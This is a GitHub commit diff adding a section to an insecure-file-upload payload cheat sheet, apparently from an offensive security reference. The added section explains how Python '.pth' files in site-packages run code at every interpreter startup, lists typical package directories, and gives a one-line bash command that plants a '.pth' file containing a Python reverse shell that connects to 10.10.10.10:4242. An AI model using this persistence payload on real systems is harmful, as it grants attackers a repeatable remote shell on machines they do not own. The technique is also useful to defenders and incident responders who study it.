Skip to content

Commit a41ae2c

Browse files
committed
Python Path File
1 parent f695b0a commit a41ae2c

1 file changed

Lines changed: 26 additions & 0 deletions

File tree

Upload Insecure Files/README.md

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -279,6 +279,31 @@ Alternatively you may be able to upload a JSON file with a custom scripts, try t
279279
}
280280
```
281281

282+
#### Python Path File
283+
284+
When a `.pth` file is placed in a directory like `site-packages` or `dist-packages`, Python's `site` initialization logic processes it during interpreter startup.
285+
286+
> An executable line in a .pth file is run at every Python startup, regardless of whether a particular module is actually going to be used. - [Site-specific configuration hook](https://docs.python.org/3/library/site.html)
287+
288+
Dropping a malicious `.pth` file into a globally loaded package directory can give an attacker repeated code execution without modifying the target application's source code. Any Python program that starts in that environment may trigger the payload.
289+
290+
Default locations for globally loaded package directories can be extracted using `python3 -m site`. Typical locations include:
291+
292+
```py
293+
/usr/lib/pythonX.Y/site-packages/
294+
/usr/local/lib/pythonX.Y/dist-packages/
295+
296+
# home location
297+
/root
298+
/home/$USER
299+
```
300+
301+
Example of malicious use, this will create a reverse shell that will connect back to the attacker's machine every time a Python process starts in that environment.:
302+
303+
```bash
304+
echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > /usr/local/lib/python3.6/site-packages/persistence.pth
305+
```
306+
282307
### CVE - ImageMagick
283308
284309
If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik.
@@ -368,6 +393,7 @@ More payloads in the folder `CVE FFmpeg HLS/`.
368393
## References
369394
370395
* [A New Vector For “Dirty” Arbitrary File Write to RCE - Doyensec - Maxence Schmitt and Lorenzo Stella - 28 Feb 2023](https://web.archive.org/web/20230228140105/https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
396+
* [Analysis of Python's .pth files as a persistence mechanism - @malmoeb - January 14, 2025](https://dfir.ch/posts/publish_python_pth_extension/)
371397
* [Arbitrary File Upload Tricks In Java - pyn3rd - 2022-05-07](https://web.archive.org/web/20220601101409/https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)
372398
* [Attacking Webservers Via .htaccess - Eldar Marcussen - May 17, 2011](https://web.archive.org/web/20200203171034/https://www.justanotherhacker.com:80/2011/05/htaccess-based-attacks.html)
373399
* [BookFresh Tricky File Upload Bypass to RCE - Ahmed Aboul-Ela - November 29, 2014](http://web.archive.org/web/20141231210005/https://secgeek.net/bookfresh-vulnerability/)

0 commit comments

Comments
 (0)